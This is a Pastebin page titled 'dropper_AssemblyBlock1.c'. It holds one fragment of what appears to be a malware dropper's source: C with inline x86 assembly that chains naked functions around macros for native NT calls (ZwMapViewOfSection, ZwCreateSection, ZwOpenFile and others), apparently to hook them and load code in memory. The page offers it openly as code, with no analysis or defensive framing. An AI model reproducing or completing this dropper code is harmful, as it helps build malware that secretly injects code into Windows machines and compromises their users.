Advertisement
FlyFar

dropper_AssemblyBlock1.c

Feb 19th, 2023
474
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.59 KB | Cybersecurity | 1 0
  1. #include "8. AssemblyBlock1.h"
  2. #include "9. AssemblyBlock2.h"
  3.  
  4. /*************************************************************************
  5. ** ASSEMBLY BLOCK 1.                                                    **
  6. *************************************************************************/                                    
  7.  
  8. void __declspec(naked) __ASM_BLOCK1_0(void)
  9. {
  10.     __asm
  11.     {
  12.         call    __ASM_BLOCK1_1
  13.         ASM_ZwMapViewOfSection
  14.     }
  15. }
  16.  
  17. void __declspec(naked) __ASM_BLOCK1_1(void)
  18. {
  19.     __asm
  20.     {
  21.         pop     edx
  22.         push    ecx
  23.         add     ecx, 4
  24.         call    __ASM_REF_7
  25.         pop     ecx
  26.         call    __ASM_BLOCK1_2
  27.         ASM_ZwCreateSection
  28.     }
  29. }
  30.  
  31. void __declspec(naked) __ASM_BLOCK1_2(void)
  32. {
  33.     __asm
  34.     {
  35.         pop     edx
  36.         push    ecx
  37.         add     ecx, 8
  38.         call    __ASM_REF_7
  39.         pop     ecx
  40.         call    __ASM_BLOCK1_3
  41.         ASM_ZwOpenFile
  42.     }
  43. }
  44.  
  45. void __declspec(naked) __ASM_BLOCK1_3(void)
  46. {
  47.     __asm
  48.     {
  49.         pop     edx
  50.         push    ecx
  51.         add     ecx, 8
  52.         call    __ASM_REF_7
  53.         pop     ecx
  54.         call    __ASM_BLOCK1_4
  55.         ASM_ZwClose
  56.     }
  57. }
  58.  
  59. void __declspec(naked) __ASM_BLOCK1_4(void)
  60. {
  61.     __asm
  62.     {
  63.         pop     edx
  64.         push    ecx
  65.         add     ecx, 10h
  66.         call    __ASM_REF_7
  67.         pop     ecx
  68.         call    __ASM_BLOCK1_5
  69.         ASM_ZwQueryAttributesFile
  70.     }
  71. }
  72.  
  73. void __declspec(naked) __ASM_BLOCK1_5(void)
  74. {
  75.     __asm
  76.     {
  77.         pop     edx
  78.         push    ecx
  79.         add     ecx, 14h
  80.         call    __ASM_REF_7
  81.         pop     ecx
  82.         call    __ASM_BLOCK1_6
  83.         ASM_ZwQuerySection
  84.     }
  85. }
  86.  
  87. void __declspec(naked) __ASM_BLOCK1_6(void)
  88. {
  89.     __asm
  90.     {
  91.         pop     edx
  92.         push    ecx
  93.         add     ecx, 18h
  94.         call    __ASM_REF_7
  95.         pop     ecx
  96.         retn
  97.     }
  98. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement